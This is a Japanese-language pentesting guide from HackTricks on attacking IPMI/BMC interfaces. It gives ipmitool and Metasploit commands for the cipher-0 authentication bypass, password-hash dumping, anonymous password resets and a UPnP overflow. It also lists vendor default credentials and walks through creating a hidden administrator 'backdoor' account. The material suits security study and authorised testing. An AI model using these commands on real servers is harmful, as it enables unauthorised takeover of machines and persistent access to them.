hacktricks/network-services-pentesting/623-udp-ipmi.md

12 KiB
Raw Blame History

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

基本情報

IPMIの概要

**Intelligent Platform Management Interface (IPMI)**は、オペレーティングシステムや電源状態に依存せずにコンピュータシステムのリモート管理と監視を標準化したアプローチを提供します。この技術により、システム管理者はシステムをリモートで管理でき、電源がオフまたは応答がない場合でも特に以下のような用途に役立ちます:

  • OSの起動前の構成
  • 電源オフ管理
  • システム障害からの回復

IPMIは温度、電圧、ファン速度、電源などを監視し、在庫情報を提供し、ハードウェアログを確認し、SNMP経由でアラートを送信することができます。動作には電源源とLAN接続が必要です。

Intelによって1998年に導入されて以来、IPMIは多くのベンダーによってサポートされ、特にバージョン2.0ではシリアルオーバーLANのサポートによりリモート管理機能が強化されています。主要なコンポーネントには次のものがあります

  • Baseboard Management Controller (BMC): IPMI操作のメインマイクロコントローラー。
  • 通信バスおよびインターフェイス: ICMB、IPMBなどの内部および外部通信用のインターフェース、およびローカルおよびネットワーク接続用のさまざまなインターフェース。
  • IPMIメモリ: ログやデータを保存するためのメモリ。

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

デフォルトポート: 623/UDP/TCP通常はUDPですが、TCPでも実行されている可能性があります

列挙

発見

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

バージョン識別するには、次のようにします:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMIの脆弱性

IPMI 2.0の世界では、Dan Farmerによって暗号タイプ0を介した重大なセキュリティの欠陥が明らかにされました。この脆弱性は、Dan Farmerの研究で詳細に文書化されており、有効なユーザーが対象であれば、任意のパスワードで未承認アクセスが可能となります。この弱点は、HP、Dell、SupermicroなどのメーカーのさまざまなBMCで見つかり、すべてのIPMI 2.0の実装に広範な問題があることを示しています。

Cipher 0を介したIPMI認証バイパス

この欠陥を検出するために、以下のMetasploit補助スキャナーを使用できます

use auxiliary/scanner/ipmi/ipmi_cipher_zero

以下のように、この欠陥の悪用はipmitoolを使用して実現可能であり、ユーザーパスワードのリスト化や変更が可能です:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

この脆弱性により、任意の既存ユーザーのソルト付きハッシュ化されたパスワードMD5およびSHA1を取得できます。この脆弱性をテストするために、Metasploitはモジュールを提供します

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI匿名認証

多くのBMCでデフォルトの設定として、「匿名」アクセスが許可されており、ユーザー名とパスワードが空の文字列で特徴付けられています。この設定を利用して、ipmitoolを使用して名前付きユーザーアカウントのパスワードをリセットすることができます。

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI平文パスワード

IPMI 2.0の重要な設計選択肢は、認証目的でBMC内に平文パスワードを保存する必要性です。Supermicroがこれらのパスワードを/nv/PSBlock/nv/PSStoreなどの場所に保存することは、重大なセキュリティ上の懸念を引き起こします。

cat /nv/PSBlock

Supermicro IPMI UPnP Vulnerability

スーパーマイクロのIPMIファームウェアにUPnP SSDPリスナーが含まれており、特にUDPポート1900で動作していることは、深刻なセキュリティリスクをもたらします。Intel SDK for UPnP Devicesバージョン1.3.1の脆弱性は、Rapid7の開示に詳細に記載されており、BMCへのルートアクセスが可能となります。

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HPは、製造時にIntegrated Lights Out (iLO)製品のデフォルトパスワードをランダム化**しています。この慣行は、他の製造業者とは対照的で、静的なデフォルト資格情報を使用する傾向にある。さまざまな製品のデフォルトのユーザー名とパスワードの要約は次のとおりです:

  • HP Integrated Lights Out (iLO)は、デフォルトパスワードとして工場でランダムに生成された8文字の文字列を使用し、より高いセキュリティレベルを示しています。
  • DellのiDRAC、IBMのIMM、およびFujitsuのIntegrated Remote Management Controllerなどの製品は、「calvin」、「PASSW0RD」ゼロを使用、および「admin」など、簡単に推測可能なパスワードを使用しています。
  • 同様に、Supermicro IPMI (2.0)、Oracle/Sun ILOM、およびASUS iKVM BMCも、「ADMIN」、「changeme」、「admin」がそれぞれのパスワードとして使用されています。

BMCを介したホストへのアクセス

ベースボード管理コントローラーBMCへの管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。直接的なアプローチは、BMCのキーボード、ビデオ、マウスKVM機能を悪用することです。これは、ホストをGRUBを介してルートシェルに再起動するinit=/bin/shを使用か、レスキューディスクとして設定された仮想CD-ROMからブートすることによって行うことができます。これらの方法により、ホストのディスクを直接操作することが可能となり、バックドアの挿入、データの抽出、セキュリティアセスメントに必要なアクションなどが可能となります。ただし、これにはホストの再起動が必要であり、これは大きな欠点です。再起動せずに実行中のホストにアクセスする場合、ホストの構成によって複雑さが異なります。ホストの物理的またはシリアルコンソールがログインしたままの場合、ipmitoolを介してBMCのKVMまたはシリアルオーバーLANsol機能を使用して簡単に接続を取得できます。i2cバスやSuper I/Oチップなどの共有ハードウェアリソースの悪用を探ることは、さらなる調査が求められる分野です。

ホストからBMCへのバックドアの導入

BMCを搭載したホストを侵害した場合、ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入し、サーバーに持続的な存在を作成することができます。この攻撃には、侵害されたホストに**ipmitool**が存在し、BMCドライバーサポートが有効になっている必要があります。次のコマンドは、ホストのローカルインターフェースを使用して新しいユーザーアカウントをBMCに挿入する方法を示しており、認証が必要ないことを回避しています。この技術は、Linux、Windows、BSD、さらにはDOSなど、さまざまなオペレーティングシステムに適用されます。

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法